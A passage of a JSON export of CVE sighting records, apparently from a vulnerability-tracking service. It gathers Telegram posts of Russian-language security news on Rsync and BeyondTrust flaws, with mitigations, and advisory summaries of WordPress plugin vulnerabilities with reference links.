\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "9a73ade0-6f07-4970-9425-2ce14e202797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12610", "type": "seen", "source": "Telegram/8T3g4-CudyMPGqqrIVDcENYo9hxbslaZunVwdvyKzWc05ws3", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "a809fb59-3207-4ac0-a58c-df027992be4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12609", "type": "seen", "source": "Telegram/AE5CNColRLsZhKu84F72Bbyu-hjxk-dIugkUGHaxMoSTjBAP", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "919e767d-2557-4ba5-bb68-eef7a616f0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12607", "type": "seen", "source": "Telegram/GQa-BIa22_0sBTjuyG2QoZa_3EI6ZJ3ZG4VUi6ZRvirF-mXR", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "ca3a632b-d380-468f-96e1-92c45a1825f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12036", "type": "seen", "source": "Telegram/5DH5ilSd4__R4ze5EYOKfUhPPUcJxZRjCY3XeLfM2cIR-nQC", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "558d361a-94b2-4b2a-805a-1ed661028c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12035", "type": "seen", "source": "Telegram/bAo67O6QE5J9Tg-PcXiLII4KDPIAKxCqJXrh7wX9OFrKATyS", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "aca588fd-7c56-4688-ae45-50419df18583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12576", "type": "seen", "source": "Telegram/0NXwCRzYO4isvEybzTbl_zZyJtigt5MTTRb6oLL47oA63_4V", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "f533467e-a8e3-4870-ae89-e3317f2f7681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12313", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/327", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12313\n\ud83d\udd39 Description: The Compare Products for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.1 via deserialization of untrusted input from the 'woo_compare_list' cookie. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-01-07T04:22:01.100Z\n\ud83d\udccf Modified: 2025-01-07T04:22:01.100Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/638e8e67-38b3-4fc4-bd77-8f268030a93a?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L219\n3. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L237\n4. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L256\n5. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L275", "creation_timestamp": "2025-01-07T04:39:26.000000Z"}, {"uuid": "98927b12-3d30-437d-992f-8693bb687c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/336", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12383\n\ud83d\udd39 Description: The Binary MLM Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0. This is due to missing or incorrect nonce validation on the 'bmw_display_pv_set_page' function and insufficient input sanitization and output escaping of the 'product_points' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:56.899Z\n\ud83d\udccf Modified: 2025-01-07T05:23:56.899Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b061fbf2-4bb3-4ccc-ba90-1e947365435e?source=cve\n2. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/point_setting.php#L7\n3. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/point_setting.php#L92\n4. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/point_setting.php#L96", "creation_timestamp": "2025-01-07T05:38:10.000000Z"}, {"uuid": "09bc3071-8a40-427a-b6e5-ca43f940e889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/335", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12633\n\ud83d\udd39 Description: The JoomSport \u2013 for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page parameter in all versions up to, and including, 5.6.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:57.261Z\n\ud83d\udccf Modified: 2025-01-07T05:23:57.261Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b4503e2c-0d0d-45de-a597-baace44a98a7?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3209054/joomsport-sports-league-results-management", "creation_timestamp": "2025-01-07T05:38:05.000000Z"}, {"uuid": "f6edb7c0-ea28-4869-bd26-98d9ec256eb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12809", "type": "seen", "source": "Telegram/JCsuPE_zoL4nQ8CYXFvnEaQG8XTVlbwgpLEdODzFPoI4bidQ", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "38be7724-d92d-432d-be9e-bd9a4cbca7d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/xatori_sec/1223", "content": "CVE-2024-12754 AnyDesk \n*\nwtf\n*\nLPE poc exploit", "creation_timestamp": "2025-02-13T17:29:46.000000Z"}, {"uuid": "773198ce-9cc2-4cbf-ac97-d94590e3bbb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/928", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12514\n\ud83d\udd39 Description: The 3DVieweronline plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's '3Dvo-model' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:04.826Z\n\ud83d\udccf Modified: 2025-01-09T11:11:04.826Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ee1c9c62-d5b5-4213-ae5a-d3d4e9103d15?source=cve\n2. https://plugins.trac.wordpress.org/browser/3dvieweronline-wp/trunk/public/class-threedvieweronline-iframe-public.php\n3. https://wordpress.org/plugins/3dvieweronline-wp/", "creation_timestamp": "2025-01-09T12:15:02.000000Z"}, {"uuid": "f529f05b-5af1-4c97-b7f6-6c33d78e8195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/7892", "content": "BeyondTrust \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 (Remote Support, RS) \u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Privileged Remote Access, PRA).\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-1731 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0425\u0430\u0440\u0448\u0443 \u0414\u0436\u0430\u0439\u0441\u0443\u0430\u043b\u0443 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 Hacktron AI. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 BeyondTrust Remote Support 25.3.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 Privileged Remote Access 24.3.4 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0443. \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u0443\u0442\u0435\u0447\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u0431\u043e\u0438 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.\n\nBeyondTrust \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c RS/PRA \u043a 2 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u0434\u043e Remote Support 25.3.2 \u0438 Privileged Remote Access 25.1.1 (\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e 11 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 (\u043a\u0430\u043a \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435, \u0442\u0430\u043a \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043a\u043e\u043b\u043e 8500 \u0438\u0437 \u043d\u0438\u0445 - \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\nBeyondTrust \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-1731 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 BeyondTrust RS/PRA \u043d\u0435 \u0440\u0430\u0437 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0430\u0442\u0430\u043a.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 API \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 17 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438,\u00a0\u0432\u0437\u043b\u043e\u043c\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust\u00a0\u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0432\u0443\u0445 0-day RS/PRA (CVE-2024-12356 \u0438 CVE-2024-12686).\n\n\u0422\u043e\u0433\u0434\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u043d\u0443\u043b\u044f\u043c \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043a Silk Typhoon \u043f\u043e\u043f\u0430\u043b\u043e \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u044b\u043a\u0440\u0430\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0437 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u0432\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0443 BeyondTrust \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 20 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 100 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 75% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 